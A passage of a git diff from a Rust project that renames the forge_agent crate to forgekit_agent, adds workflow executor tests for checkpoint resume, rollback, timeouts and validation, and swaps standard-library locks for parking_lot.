new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + new_workflow.add_dependency("a", "b").unwrap(); + new_workflow.add_dependency("a", "c").unwrap(); + + let mut new_executor = + WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); + + let result = new_executor.resume_from_checkpoint_id(&checkpoint_id).await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + + assert!(workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 3); +} + +#[tokio::test] +async fn test_resume_skip_completed() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("b", "c").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + let workflow_id = executor.audit_log.tx_id().to_string(); + + executor.completed_tasks.insert(TaskId::new("a")); + let partial_checkpoint = WorkflowCheckpoint::from_executor(&workflow_id, 0, &executor, 0); + checkpoint_service.save(&partial_checkpoint).unwrap(); + + let checkpoint_id = partial_checkpoint.id; + + let mut new_workflow = Workflow::new(); + new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); + + new_workflow.add_dependency("a", "b").unwrap(); + new_workflow.add_dependency("b", "c").unwrap(); + + let mut new_executor = + WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); + + let result = new_executor + .resume_from_checkpoint_id(&checkpoint_id) + .await + .unwrap(); + + assert!(result.success); + assert_eq!(result.completed_tasks.len(), 3); + + assert!(result.completed_tasks.contains(&TaskId::new("a"))); + assert!(result.completed_tasks.contains(&TaskId::new("b"))); + assert!(result.completed_tasks.contains(&TaskId::new("c"))); +} + +#[tokio::test] +async fn test_resume_returns_immediately_if_all_completed() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let checkpoint = checkpoint_service + .get_latest(&workflow_id) + .unwrap() + .unwrap(); + let checkpoint_id = checkpoint.id; + + let mut new_workflow = Workflow::new(); + new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + new_workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let mut new_executor = + WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); + + let result = new_executor + .resume_from_checkpoint_id(&checkpoint_id) + .await + .unwrap(); + + assert!(result.success); + assert_eq!(result.completed_tasks.len(), 2); +} + +#[tokio::test] +async fn test_resume_fails_with_invalid_checkpoint() { + use crate::workflow::checkpoint::{CheckpointId, WorkflowCheckpointService}; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + let fake_checkpoint_id = CheckpointId::new(); + let result = executor + .resume_from_checkpoint_id(&fake_checkpoint_id) + .await; + + assert!(result.is_err()); + + match result { + Err(crate::workflow::WorkflowError::CheckpointNotFound(_)) => {} + _ => panic!("Expected CheckpointNotFound error"), + } +} diff --git a/forgekit_agent/src/workflow/executor/tests/rollback.rs b/forgekit_agent/src/workflow/executor/tests/rollback.rs new file mode 100644 index 0000000..83446bb --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/rollback.rs @@ -0,0 +1,119 @@ +use super::*; + +#[tokio::test] +async fn test_failure_triggers_rollback() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new( + MockTask::new("b", "Task B").with_dep("a").with_failure(), + )); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("b", "c").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute().await.unwrap(); + + assert!(!result.success); + assert_eq!(result.failed_tasks.len(), 1); + assert_eq!(result.failed_tasks[0], TaskId::new("b")); + + assert!(result.rollback_report.is_some()); + let rollback_report = result.rollback_report.unwrap(); + + assert_eq!(rollback_report.rolled_back_tasks.len(), 1); + assert!(rollback_report + .rolled_back_tasks + .contains(&TaskId::new("a"))); + assert_eq!(rollback_report.skipped_tasks.len(), 1); + assert!(rollback_report.skipped_tasks.contains(&TaskId::new("b"))); + + let events = executor.audit_log().replay(); + assert!(events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowTaskRolledBack { .. }))); + assert!(events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowRolledBack { .. }))); +} + +#[tokio::test] +async fn test_rollback_strategy_configurable() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new( + MockTask::new("b", "Task B").with_dep("a").with_failure(), + )); + + workflow.add_dependency("a", "b").unwrap(); + + let mut executor = + WorkflowExecutor::new(workflow).with_rollback_strategy(RollbackStrategy::FailedOnly); + assert_eq!(executor.rollback_strategy(), RollbackStrategy::FailedOnly); + + let result = executor.execute().await.unwrap(); + + assert!(result.rollback_report.is_some()); + assert_eq!( + result + .rollback_report + .as_ref() + .unwrap() + .rolled_back_tasks + .len(), + 0 + ); + assert_eq!( + result.rollback_report.as_ref().unwrap().skipped_tasks.len(), + 1 + ); +} + +#[tokio::test] +async fn test_partial_rollback_diamond_pattern() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + workflow.add_task(Box::new( + MockTask::new("d", "Task D") + .with_dep("b") + .with_dep("c") + .with_failure(), + )); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + workflow.add_dependency("b", "d").unwrap(); + workflow.add_dependency("c", "d").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute().await.unwrap(); + + assert!(!result.success); + assert_eq!(result.failed_tasks[0], TaskId::new("d")); + + assert!(result.rollback_report.is_some()); + let rollback_report = result.rollback_report.unwrap(); + + assert_eq!(rollback_report.rolled_back_tasks.len(), 3); + assert!(rollback_report + .rolled_back_tasks + .contains(&TaskId::new("a"))); + assert!(rollback_report + .rolled_back_tasks + .contains(&TaskId::new("b"))); + assert!(rollback_report + .rolled_back_tasks + .contains(&TaskId::new("c"))); + assert_eq!(rollback_report.skipped_tasks.len(), 1); + assert!(rollback_report.skipped_tasks.contains(&TaskId::new("d"))); + + assert!(result.completed_tasks.contains(&TaskId::new("a"))); + assert!(result.completed_tasks.contains(&TaskId::new("b"))); + assert!(result.completed_tasks.contains(&TaskId::new("c"))); +} diff --git a/forgekit_agent/src/workflow/executor/tests/timeout.rs b/forgekit_agent/src/workflow/executor/tests/timeout.rs new file mode 100644 index 0000000..7d231c3 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/timeout.rs @@ -0,0 +1,120 @@ +use super::*; + +#[test] +fn test_executor_without_timeout_config() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let executor = WorkflowExecutor::new(workflow); + + assert!(executor.timeout_config().is_none()); +} + +#[test] +fn test_executor_with_timeout_config() { + use crate::workflow::timeout::TimeoutConfig; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let config = TimeoutConfig::new(); + let executor = WorkflowExecutor::new(workflow).with_timeout_config(config); + + assert!(executor.timeout_config().is_some()); + let retrieved_config = executor.timeout_config().unwrap(); + assert!(retrieved_config.task_timeout.is_some()); + assert!(retrieved_config.workflow_timeout.is_some()); +} + +#[tokio::test] +async fn test_executor_with_task_timeout() { + use crate::workflow::timeout::{TaskTimeout, TimeoutConfig}; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let config = TimeoutConfig { + task_timeout: Some(TaskTimeout::from_millis(100)), + workflow_timeout: None, + }; + + let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); + + let result = executor.execute().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); +} + +#[tokio::test] +async fn test_executor_with_workflow_timeout() { + use crate::workflow::timeout::{TimeoutConfig, WorkflowTimeout}; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let config = TimeoutConfig { + task_timeout: None, + workflow_timeout: Some(WorkflowTimeout::from_secs(5)), + }; + + let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); + + let result = executor.execute().await; + + assert!(result.is_ok()); +} + +#[tokio::test] +async fn test_task_timeout_records_audit_event() { + use crate::workflow::timeout::{TaskTimeout, TimeoutConfig}; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let config = TimeoutConfig { + task_timeout: Some(TaskTimeout::from_millis(100)), + workflow_timeout: None, + }; + + let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); + + let result = executor.execute().await; + + assert!(result.is_ok()); + assert!(executor.timeout_config().is_some()); +} + +#[tokio::test] +async fn test_workflow_timeout_records_audit_event() { + use crate::workflow::timeout::{TimeoutConfig, WorkflowTimeout}; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let config = TimeoutConfig { + task_timeout: None, + workflow_timeout: Some(WorkflowTimeout::from_secs(5)), + }; + + let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); + + let result = executor.execute_with_timeout().await; + + assert!(result.is_ok()); +} + +#[tokio::test] +async fn test_execute_with_timeout_without_config() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let mut executor = WorkflowExecutor::new(workflow); + + let result = executor.execute_with_timeout().await; + + assert!(result.is_ok()); + assert!(result.unwrap().success); +} diff --git a/forgekit_agent/src/workflow/executor/tests/validation.rs b/forgekit_agent/src/workflow/executor/tests/validation.rs new file mode 100644 index 0000000..504c8bb --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/validation.rs @@ -0,0 +1,96 @@ +use super::*; + +#[tokio::test] +async fn test_execute_with_validations() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_with_validations().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); +} + +#[tokio::test] +async fn test_validation_config_builder() { + use crate::workflow::checkpoint::ValidationCheckpoint; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let custom_config = ValidationCheckpoint { + min_confidence: 0.5, + warning_threshold: 0.8, + rollback_on_failure: true, + }; + + let executor = WorkflowExecutor::new(workflow).with_validation_config(custom_config); + + assert!(executor.validation_config.is_some()); + let config = executor.validation_config.unwrap(); + assert_eq!(config.min_confidence, 0.5); + assert_eq!(config.warning_threshold, 0.8); + assert!(config.rollback_on_failure); +} + +#[tokio::test] +async fn test_validation_warning_continues() { + use crate::workflow::checkpoint::ValidationCheckpoint; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let config = ValidationCheckpoint { + min_confidence: 0.4, + warning_threshold: 0.9, + rollback_on_failure: false, + }; + + let mut executor = WorkflowExecutor::new(workflow).with_validation_config(config); + + let result = executor.execute().await.unwrap(); + + assert!(result.success); +} + +#[test] +fn test_validate_task_result_method() { + use crate::workflow::checkpoint::ValidationCheckpoint; + use crate::workflow::task::TaskResult; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let config = ValidationCheckpoint::default(); + let executor = WorkflowExecutor::new(workflow).with_validation_config(config); + + let result = TaskResult::Success; + let validation = executor._validate_task_result(&result); + + assert!(validation.is_ok()); + let v = validation.unwrap(); + assert_eq!(v.confidence, 1.0); + assert_eq!( + v.status, + crate::workflow::checkpoint::ValidationStatus::Passed + ); +} + +#[test] +fn test_validate_task_result_no_config() { + use crate::workflow::task::TaskResult; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let executor = WorkflowExecutor::new(workflow); + + let result = TaskResult::Success; + let validation = executor._validate_task_result(&result); + + assert!(validation.is_err()); +} diff --git a/forge_agent/src/workflow/explorer.rs b/forgekit_agent/src/workflow/explorer.rs similarity index 100% rename from forge_agent/src/workflow/explorer.rs rename to forgekit_agent/src/workflow/explorer.rs diff --git a/forge_agent/src/workflow/gate.rs b/forgekit_agent/src/workflow/gate.rs similarity index 100% rename from forge_agent/src/workflow/gate.rs rename to forgekit_agent/src/workflow/gate.rs diff --git a/forge_agent/src/workflow/mod.rs b/forgekit_agent/src/workflow/mod.rs similarity index 86% rename from forge_agent/src/workflow/mod.rs rename to forgekit_agent/src/workflow/mod.rs index c058ade..cc7b7ab 100644 --- a/forge_agent/src/workflow/mod.rs +++ b/forgekit_agent/src/workflow/mod.rs @@ -11,9 +11,9 @@ //! # Architecture //! //! The workflow system is built around three core components: -//! - [`DAG`](crate::workflow::dag::Workflow): Directed acyclic graph for task representation -//! - [`WorkflowTask`](crate::workflow::task::WorkflowTask): Async trait for task execution -//! - [`WorkflowExecutor`](crate::workflow::executor::WorkflowExecutor): Sequential task executor +//! - [`DAG`](dag::Workflow): Directed acyclic graph for task representation +//! - [`WorkflowTask`]: Async trait for task execution +//! - [`WorkflowExecutor`]: Sequential task executor //! //! # Cancellation and Timeouts //! @@ -22,8 +22,8 @@ //! Workflows support cooperative cancellation via [`CancellationToken`]: //! //! ```ignore -//! use forge_agent::workflow::{CancellationTokenSource, WorkflowExecutor}; -//! use forge_agent::workflow::dag::Workflow; +//! use forgekit_agent::workflow::{CancellationTokenSource, WorkflowExecutor}; +//! use forgekit_agent::workflow::dag::Workflow; //! //! let source = CancellationTokenSource::new(); //! let mut executor = WorkflowExecutor::new(workflow) @@ -36,7 +36,7 @@ //! Tasks can cooperatively respond to cancellation by polling the token: //! //! ```ignore -//! use forge_agent::workflow::task::TaskContext; +//! use forgekit_agent::workflow::task::TaskContext; //! //! async fn my_task(context: &TaskContext) -> Result { //! while !context.cancellation_token().map_or(false, |t| t.poll_cancelled()) { @@ -46,7 +46,7 @@ //! } //! ``` //! -//! See [`examples`](crate::workflow::examples) for complete cancellation-aware task examples. +//! See [`examples`] for complete cancellation-aware task examples. //! //! ## Timeouts //! @@ -54,18 +54,18 @@ //! //! ```ignore //! use std::time::Duration; -//! use forge_agent::workflow::{WorkflowExecutor, WorkflowTimeout}; +//! use forgekit_agent::workflow::{WorkflowExecutor, WorkflowTimeout}; //! //! let mut executor = WorkflowExecutor::new(workflow) //! .with_workflow_timeout(WorkflowTimeout::from_secs(300)); //! ``` //! -//! See [`timeout`](crate::workflow::timeout) module for timeout configuration options. +//! See [`timeout`] module for timeout configuration options. //! //! # Quick Start //! //! ```ignore -//! use forge_agent::{Workflow, WorkflowExecutor, MockTask}; +//! use forgekit_agent::{Workflow, WorkflowExecutor, MockTask}; //! //! let mut workflow = Workflow::new(); //! workflow.add_task(MockTask::new("a", "Task A")); diff --git a/forge_agent/src/workflow/plan/graph.rs b/forgekit_agent/src/workflow/plan/graph.rs similarity index 100% rename from forge_agent/src/workflow/plan/graph.rs rename to forgekit_agent/src/workflow/plan/graph.rs diff --git a/forge_agent/src/workflow/plan/mod.rs b/forgekit_agent/src/workflow/plan/mod.rs similarity index 100% rename from forge_agent/src/workflow/plan/mod.rs rename to forgekit_agent/src/workflow/plan/mod.rs diff --git a/forge_agent/src/workflow/plan/tests.rs b/forgekit_agent/src/workflow/plan/tests.rs similarity index 100% rename from forge_agent/src/workflow/plan/tests.rs rename to forgekit_agent/src/workflow/plan/tests.rs diff --git a/forge_agent/src/workflow/rollback/compensation_registry.rs b/forgekit_agent/src/workflow/rollback/compensation_registry.rs similarity index 100% rename from forge_agent/src/workflow/rollback/compensation_registry.rs rename to forgekit_agent/src/workflow/rollback/compensation_registry.rs diff --git a/forge_agent/src/workflow/rollback/engine.rs b/forgekit_agent/src/workflow/rollback/engine.rs similarity index 100% rename from forge_agent/src/workflow/rollback/engine.rs rename to forgekit_agent/src/workflow/rollback/engine.rs diff --git a/forge_agent/src/workflow/rollback/mod.rs b/forgekit_agent/src/workflow/rollback/mod.rs similarity index 100% rename from forge_agent/src/workflow/rollback/mod.rs rename to forgekit_agent/src/workflow/rollback/mod.rs diff --git a/forge_agent/src/workflow/rollback/tests.rs b/forgekit_agent/src/workflow/rollback/tests.rs similarity index 97% rename from forge_agent/src/workflow/rollback/tests.rs rename to forgekit_agent/src/workflow/rollback/tests.rs index 43bcd7e..47f43e3 100644 --- a/forge_agent/src/workflow/rollback/tests.rs +++ b/forgekit_agent/src/workflow/rollback/tests.rs @@ -208,8 +208,6 @@ struct MockTaskWithCompensation { id: TaskId, name: String, deps: Vec, - #[allow(dead_code)] - compensation: Option, } impl MockTaskWithCompensation { @@ -218,21 +216,8 @@ impl MockTaskWithCompensation { id: id.into(), name: name.to_string(), deps: Vec::new(), - compensation: None, } } - - #[allow(dead_code)] - fn with_dep(mut self, dep: impl Into) -> Self { - self.deps.push(dep.into()); - self - } - - #[allow(dead_code)] - fn with_compensation(mut self, action: CompensationAction) -> Self { - self.compensation = Some(action); - self - } } #[async_trait] diff --git a/forge_agent/src/workflow/rollback/tool_compensation.rs b/forgekit_agent/src/workflow/rollback/tool_compensation.rs similarity index 93% rename from forge_agent/src/workflow/rollback/tool_compensation.rs rename to forgekit_agent/src/workflow/rollback/tool_compensation.rs index 9d58498..6fc69e2 100644 --- a/forge_agent/src/workflow/rollback/tool_compensation.rs +++ b/forgekit_agent/src/workflow/rollback/tool_compensation.rs @@ -1,6 +1,6 @@ use crate::workflow::task::{ - CompensationAction, CompensationType, ExecutableCompensation, TaskContext, TaskError, - TaskResult, + CompensateFn, CompensationAction, CompensationType, ExecutableCompensation, TaskContext, + TaskError, TaskResult, }; use std::fs; use std::path::Path; @@ -9,8 +9,7 @@ use std::sync::Arc; #[derive(Clone)] pub struct ToolCompensation { pub description: String, - #[allow(clippy::type_complexity)] - compensate: Arc Result + Send + Sync>, + compensate: CompensateFn, } impl ToolCompensation { diff --git a/forge_agent/src/workflow/semgrep.rs b/forgekit_agent/src/workflow/semgrep.rs similarity index 100% rename from forge_agent/src/workflow/semgrep.rs rename to forgekit_agent/src/workflow/semgrep.rs diff --git a/forge_agent/src/workflow/state.rs b/forgekit_agent/src/workflow/state.rs similarity index 92% rename from forge_agent/src/workflow/state.rs rename to forgekit_agent/src/workflow/state.rs index 506daa7..e104405 100644 --- a/forge_agent/src/workflow/state.rs +++ b/forgekit_agent/src/workflow/state.rs @@ -29,9 +29,10 @@ use crate::workflow::executor::WorkflowExecutor; use crate::workflow::task::TaskId; +use parking_lot::RwLock; use serde::{Deserialize, Serialize}; use std::collections::HashSet; -use std::sync::{Arc, RwLock}; +use std::sync::Arc; /// Status of a workflow execution. #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] @@ -165,13 +166,13 @@ impl WorkflowState { /// /// // Concurrent reads (tasks checking state) /// { -/// let reader = state.read().unwrap(); +/// let reader = state.read(); /// assert_eq!(reader.status, WorkflowStatus::Running); /// } /// /// // Exclusive write (executor updating state) /// { -/// let mut writer = state.write().unwrap(); +/// let mut writer = state.write(); /// writer.status = WorkflowStatus::Completed; /// } /// ``` @@ -194,16 +195,7 @@ impl ConcurrentState { /// # Returns /// /// A `RwLockReadGuard` that provides immutable access to the state. - /// - /// # Panics - /// - /// Panics if the lock is poisoned (another thread panicked while holding the lock). - pub fn read( - &self, - ) -> Result< - std::sync::RwLockReadGuard<'_, WorkflowState>, - std::sync::PoisonError>, - > { + pub fn read(&self) -> parking_lot::RwLockReadGuard<'_, WorkflowState> { self.inner.read() } @@ -212,16 +204,7 @@ impl ConcurrentState { /// # Returns /// /// A `RwLockWriteGuard` that provides mutable access to the state. - /// - /// # Panics - /// - /// Panics if the lock is poisoned (another thread panicked while holding the lock). - pub fn write( - &self, - ) -> Result< - std::sync::RwLockWriteGuard<'_, WorkflowState>, - std::sync::PoisonError>, - > { + pub fn write(&self) -> parking_lot::RwLockWriteGuard<'_, WorkflowState> { self.inner.write() } @@ -231,8 +214,8 @@ impl ConcurrentState { /// /// - `Some(guard)` if the lock was acquired immediately /// - `None` if the lock is held by a writer - pub fn try_read(&self) -> Option> { - self.inner.try_read().ok() + pub fn try_read(&self) -> Option> { + self.inner.try_read() } /// Attempts to acquire a write lock without blocking. @@ -241,8 +224,8 @@ impl ConcurrentState { /// /// - `Some(guard)` if the lock was acquired immediately /// - `None` if the lock is held by another reader or writer - pub fn try_write(&self) -> Option> { - self.inner.try_write().ok() + pub fn try_write(&self) -> Option> { + self.inner.try_write() } /// Returns the number of strong references to the inner state. @@ -271,7 +254,7 @@ mod concurrent_state_tests { let state = WorkflowState::new("workflow-1"); let concurrent = ConcurrentState::new(state); - let reader = concurrent.read().unwrap(); + let reader = concurrent.read(); assert_eq!(reader.workflow_id, "workflow-1"); assert_eq!(reader.status, WorkflowStatus::Pending); } @@ -296,19 +279,19 @@ mod concurrent_state_tests { // Read initial state { - let reader = concurrent.read().unwrap(); + let reader = concurrent.read(); assert_eq!(reader.status, WorkflowStatus::Pending); } // Write new state { - let mut writer = concurrent.write().unwrap(); + let mut writer = concurrent.write(); writer.status = WorkflowStatus::Completed; } // Read updated state { - let reader = concurrent.read().unwrap(); + let reader = concurrent.read(); assert_eq!(reader.status, WorkflowStatus::Completed); } } @@ -338,7 +321,7 @@ mod concurrent_state_tests { let barrier1 = Arc::clone(&barrier); handles.spawn(async move { barrier1.wait(); - let reader = concurrent1.read().unwrap(); + let reader = concurrent1.read(); assert_eq!(reader.workflow_id, "workflow-1"); }); @@ -347,7 +330,7 @@ mod concurrent_state_tests { let barrier2 = Arc::clone(&barrier); handles.spawn(async move { barrier2.wait(); - let reader = concurrent2.read().unwrap(); + let reader = concurrent2.read(); assert_eq!(reader.status, WorkflowStatus::Running); }); @@ -358,7 +341,7 @@ mod concurrent_state_tests { barrier3.wait(); // Small delay to let readers read first tokio::time::sleep(std::time::Duration::from_millis(10)).await; - let mut writer = concurrent3.write().unwrap(); + let mut writer = concurrent3.write(); writer.status = WorkflowStatus::Completed; }); @@ -368,7 +351,7 @@ mod concurrent_state_tests { } // Verify final state - let reader = concurrent.read().unwrap(); + let reader = concurrent.read(); assert_eq!(reader.status, WorkflowStatus::Completed); } @@ -385,7 +368,7 @@ mod concurrent_state_tests { handles.spawn(async move { // Read (guard dropped before await) { - let _reader = concurrent_clone.read().unwrap(); + let _reader = concurrent_clone.read(); } // Small delay @@ -393,7 +376,7 @@ mod concurrent_state_tests { // Write (if even number) if i % 2 == 0 { - let mut writer = concurrent_clone.write().unwrap(); + let mut writer = concurrent_clone.write(); writer.completed_tasks.push(TaskSummary::new( format!("task-{}", i), format!("Task {}", i), @@ -409,7 +392,7 @@ mod concurrent_state_tests { } // Verify no corruption - should have 5 completed tasks (even numbers 0,2,4,6,8) - let reader = concurrent.read().unwrap(); + let reader = concurrent.read(); assert_eq!(reader.completed_tasks.len(), 5); } } diff --git a/forge_agent/src/workflow/task.rs b/forgekit_agent/src/workflow/task.rs similarity index 97% rename from forge_agent/src/workflow/task.rs rename to forgekit_agent/src/workflow/task.rs index 265dde7..12af809 100644 --- a/forge_agent/src/workflow/task.rs +++ b/forgekit_agent/src/workflow/task.rs @@ -5,7 +5,7 @@ //! and result reporting. use async_trait::async_trait; -use forge_core::Forge; +use forgekit_core::Forge; use serde::{Deserialize, Serialize}; use std::fmt; use std::sync::Arc; @@ -147,7 +147,7 @@ impl TaskContext { /// # Example /// /// ```ignore - /// use forge_agent::workflow::{CancellationTokenSource, TaskContext}; + /// use forgekit_agent::workflow::{CancellationTokenSource, TaskContext}; /// /// let source = CancellationTokenSource::new(); /// let context = TaskContext::new("workflow-1", task_id) @@ -217,7 +217,7 @@ impl TaskContext { /// # Example /// /// ```ignore - /// use forge_agent::workflow::tools::ToolRegistry; + /// use forgekit_agent::workflow::tools::ToolRegistry; /// use std::sync::Arc; /// /// let registry = Arc::new(ToolRegistry::new()); @@ -260,7 +260,7 @@ impl TaskContext { /// # Example /// /// ```ignore - /// use forge_agent::audit::AuditLog; + /// use forgekit_agent::audit::AuditLog; /// /// let audit_log = AuditLog::new(); /// let context = TaskContext::new("workflow-1", task_id) @@ -352,6 +352,11 @@ pub enum CompensationType { Retry, } +/// Closure executed during rollback to compensate for a completed task +/// (e.g. delete a created file, terminate a spawned process). +pub(crate) type CompensateFn = + Arc Result + Send + Sync>; + /// Executable compensation with a runtime undo function. /// /// Extends `CompensationAction` with a callable closure so that rollback @@ -364,8 +369,7 @@ pub struct ExecutableCompensation { pub action: CompensationAction, /// Optional undo function executed during rollback (not serialized) #[serde(skip)] - #[allow(clippy::type_complexity)] - undo_fn: Option Result + Send + Sync>>, + undo_fn: Option, } impl fmt::Debug for ExecutableCompensation { @@ -430,10 +434,7 @@ impl ExecutableCompensation { } /// Returns the underlying `undo_fn` Arc, if any. - #[allow(clippy::type_complexity)] - pub(crate) fn into_undo_fn( - self, - ) -> Option Result + Send + Sync>> { + pub(crate) fn into_undo_fn(self) -> Option { self.undo_fn } } diff --git a/forge_agent/src/workflow/tasks/agent_loop.rs b/forgekit_agent/src/workflow/tasks/agent_loop.rs similarity index 100% rename from forge_agent/src/workflow/tasks/agent_loop.rs rename to forgekit_agent/src/workflow/tasks/agent_loop.rs diff --git a/forge_agent/src/workflow/tasks/file_edit.rs b/forgekit_agent/src/workflow/tasks/file_edit.rs similarity index 100% rename from forge_agent/src/workflow/tasks/file_edit.rs rename to forgekit_agent/src/workflow/tasks/file_edit.rs diff --git a/forge_agent/src/workflow/tasks/graph_query.rs b/forgekit_agent/src/workflow/tasks/graph_query.rs similarity index 100% rename from forge_agent/src/workflow/tasks/graph_query.rs rename to forgekit_agent/src/workflow/tasks/graph_query.rs diff --git a/forge_agent/src/workflow/tasks/mod.rs b/forgekit_agent/src/workflow/tasks/mod.rs similarity index 95% rename from forge_agent/src/workflow/tasks/mod.rs rename to forgekit_agent/src/workflow/tasks/mod.rs index b0a6459..787da42 100644 --- a/forge_agent/src/workflow/tasks/mod.rs +++ b/forgekit_agent/src/workflow/tasks/mod.rs @@ -32,8 +32,8 @@ type AsyncTaskFn = Box< /// # Example /// /// ```ignore -/// use forge_agent::workflow::tasks::FunctionTask; -/// use forge_agent::workflow::TaskId; +/// use forgekit_agent::workflow::tasks::FunctionTask; +/// use forgekit_agent::workflow::TaskId; /// /// let task = FunctionTask::new( /// TaskId::new("my_task"), diff --git a/forge_agent/src/workflow/tasks/shell.rs b/forgekit_agent/src/workflow/tasks/shell.rs similarity index 95% rename from forge_agent/src/workflow/tasks/shell.rs rename to forgekit_agent/src/workflow/tasks/shell.rs index 7c68c34..38026d5 100644 --- a/forge_agent/src/workflow/tasks/shell.rs +++ b/forgekit_agent/src/workflow/tasks/shell.rs @@ -108,7 +108,7 @@ pub struct ShellCommandTask { name: String, config: ShellCommandConfig, /// Last spawned process ID (for compensation) - last_pid: Arc>>, + last_pid: Arc>>, } impl ShellCommandTask { @@ -124,7 +124,7 @@ impl ShellCommandTask { id, name, config: ShellCommandConfig::new(command), - last_pid: Arc::new(std::sync::Mutex::new(None)), + last_pid: Arc::new(parking_lot::Mutex::new(None)), } } @@ -140,7 +140,7 @@ impl ShellCommandTask { id, name, config, - last_pid: Arc::new(std::sync::Mutex::new(None)), + last_pid: Arc::new(parking_lot::Mutex::new(None)), } } @@ -192,7 +192,7 @@ impl WorkflowTask for ShellCommandTask { let child = cmd.spawn().map_err(TaskError::Io)?; if let Some(pid) = child.id() { - let mut last_pid = self.last_pid.lock().unwrap(); + let mut last_pid = self.last_pid.lock(); *last_pid = Some(pid); } @@ -228,7 +228,7 @@ impl WorkflowTask for ShellCommandTask { } fn compensation(&self) -> Option { - let pid_guard = self.last_pid.lock().unwrap(); + let pid_guard = self.last_pid.lock(); if let Some(pid) = *pid_guard { Some(CompensationAction::undo(format!( "Terminate spawned process: {}", diff --git a/forge_agent/src/workflow/tasks/tests.rs b/forgekit_agent/src/workflow/tasks/tests.rs similarity index 90% rename from forge_agent/src/workflow/tasks/tests.rs rename to forgekit_agent/src/workflow/tasks/tests.rs index bdd54e6..aa941b8 100644 --- a/forge_agent/src/workflow/tasks/tests.rs +++ b/forgekit_agent/src/workflow/tasks/tests.rs @@ -77,19 +77,44 @@ async fn test_graph_query_with_custom_id() { } #[tokio::test] -async fn test_shell_command_task_stub() { - let config = - 